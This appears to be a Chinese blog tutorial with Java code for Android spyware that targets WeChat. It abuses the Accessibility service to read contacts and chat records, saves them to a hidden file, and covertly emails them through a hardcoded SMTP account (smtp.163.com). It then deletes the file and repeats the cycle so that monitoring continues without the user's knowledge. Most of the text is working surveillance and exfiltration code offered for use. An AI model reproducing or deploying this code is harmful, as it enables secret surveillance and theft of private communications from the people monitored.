1. 首先先展示一下效果圖:
2. Accessibility機制
Accessibility機制之前已經介紹過了,具體可以查看Accessibility機制實現模擬點擊,需要簡單的配置(如設置被監聽的對象為微信)和實現。此文中介紹了如何通過Accessibility自動搶紅包,在這個過程中,很明顯,在調用如下代碼時,
AccessibilityNodeInfo nodeInfo = getRootInActiveWindow();遍歷節點,再循環打印其 getText()信息,便可以拿到用戶 通訊錄以及聊天記錄等信息 的。
獲取到這些信息后,我們可以暫時寫入文件,以備發送。
private void write(String info){ try{ FileOutputStream fos = openFileOutput(FILE_NAME,MODE_APPEND); PrintStream ps = new PrintStream(fos); ps.println(info); ps.close(); } catch (Exception e) { e.printStackTrace(); } }
當然,前提是在被監聽用戶在我們開啟監聽后聊過(或者說看到)的記錄,否則用戶連微信都不打開,我們是無從獲取聊天記錄等信息的。
本文原創,轉載請注明出處:http://blog.csdn.net/seu_calvin/article/details/51917182
2. 后台秘密發郵件
當然,我們監聽到這些信息,需要實時地反饋給我們。這里我們采用郵件的形式,通過后台“偷偷地”發送這些信息。
發送后台郵件需要用到三個第三方的庫,分別為activation.jar,additionnal.jar,mail.jar。發送郵件的時候需要用到很多信息,包括發送郵件的服務器的IP和端口、郵件發送者的地址、郵件接收者的地址、登陸郵件發送服務器的用戶名和密碼、郵件主題、郵件的文本內容等等。
這里需要注意的是,我們后台發郵件需要賬號密碼等敏感信息,這些郵件信息,除了郵件的文本內容信息,其他的信息我們都可以在程序里面編寫好,這樣便可以實現在用戶未知的情況下,將用戶的個人隱私信息作為郵件的文本內容,從應用程序目錄下的文件內取出,完成后台發送。
還有一點需要注意的是,在完成后台秘密發送的同時,需要將存放敏感信息的的文件進行刪除,以此來防止部分內容的重復發送。刪除之后,重新開始監聽用戶信息,若信息有效,便重新創建文件寫入信息,當達到設定好的發送條件時,再進行后台郵件發送,以此循環,來達到一直監聽的目的。具體的發送時機,刪除暫時保存數據的文件的時機等等,可以自定義實現。
核心代碼展示如下:
//發送郵件 MailSenderInfo mailInfo = new MailSenderInfo(); mailInfo.setMailServerHost("smtp.163.com"); mailInfo.setMailServerPort("25"); mailInfo.setValidate(true); mailInfo.setUserName(userid); //你的郵箱地址 mailInfo.setPassword(password);//您的郵箱密碼 mailInfo.setFromAddress(from); mailInfo.setToAddress(to); mailInfo.setSubject(subject); mailInfo.setContent(read()); //這個類主要來發送郵件 SimpleMailSender sms = new SimpleMailSender(); //發送文體格式 sms.sendTextMail(mailInfo);
其中SimpleMailSender類展示如下,MyAuthenticator類需要繼承Authenticator類,主要是在getPasswordAuthentication()方法中返回封裝好的類型為PasswordAuthentication的鑒權結果即可。
public class SimpleMailSender { /** * 以文本格式發送郵件 * @param mailInfo 待發送的郵件的信息 */ public boolean sendTextMail(MailSenderInfo mailInfo){ // 判斷是否需要身份認證 MyAuthenticator authenticator = null; Properties pro = mailInfo.getProperties(); if (mailInfo.isValidate()) { // 如果需要身份認證,則創建一個密碼驗證器 authenticator = new MyAuthenticator(mailInfo.getUserName(), mailInfo.getPassword()); } // 根據郵件會話屬性和密碼驗證器構造一個發送郵件的session Session sendMailSession = Session.getDefaultInstance(pro,authenticator); try { // 根據session創建一個郵件消息 Message mailMessage = new MimeMessage(sendMailSession); // 創建郵件發送者地址 Address from = new InternetAddress(mailInfo.getFromAddress()); // 設置郵件消息的發送者 mailMessage.setFrom(from); // 創建郵件的接收者地址,並設置到郵件消息中 Address to = new InternetAddress(mailInfo.getToAddress()); mailMessage.setRecipient(Message.RecipientType.TO,to); // 設置郵件消息的主題 mailMessage.setSubject(mailInfo.getSubject()); // 設置郵件消息發送的時間 mailMessage.setSentDate(new Date()); // 設置郵件消息的主要內容 String mailContent = mailInfo.getContent(); mailMessage.setText(mailContent); // 發送郵件 Transport.send(mailMessage); } catch (MessagingException ex){ ex.printStackTrace(); } return false; } }
MailSenderInfo類展示如下。
public class MailSenderInfo { // 發送郵件的服務器的IP和端口 private String mailServerHost = Constant.SERVICE_IP; private String mailServerPort = Constant.SERVICE_PORT;//一般為25 // 郵件發送者的地址 private String fromAddress; // 郵件接收者的地址 private String toAddress; // 登陸郵件發送服務器的用戶名和密碼 private String userName; private String password; // 是否需要身份驗證 private boolean validate = true; // 郵件主題 private String subject; // 郵件的文本內容 private String content; /** * 獲得郵件會話屬性 */ public Properties getProperties() { Properties p = new Properties(); p.put("mail.smtp.host", this.mailServerHost); p.put("mail.smtp.port", this.mailServerPort); p.put("mail.smtp.auth", "true"); return p; } public String getMailServerHost() { return mailServerHost; } public void setMailServerHost(String mailServerHost) { this.mailServerHost = mailServerHost; } public String getMailServerPort() { return mailServerPort; } public void setMailServerPort(String mailServerPort) { this.mailServerPort = mailServerPort; } public boolean isValidate() { return validate; } public void setValidate(boolean validate) { this.validate = validate; } public String getFromAddress(){ return fromAddress; } public void setFromAddress(String fromAddress){ this.fromAddress = fromAddress; } public String getPassword(){ return password; } public void setPassword(String password){ this.password = password; } public String getToAddress(){ return toAddress; } public void setToAddress(String toAddress){ this.toAddress = toAddress; } public String getUserName(){ return userName; } public void setUserName(String userName){ this.userName = userName; } public String getSubject(){ return subject; } public void setSubject(String subject){ this.subject = subject; } public String getContent(){ return content; } public void setContent(String textContent){ this.content = textContent; } }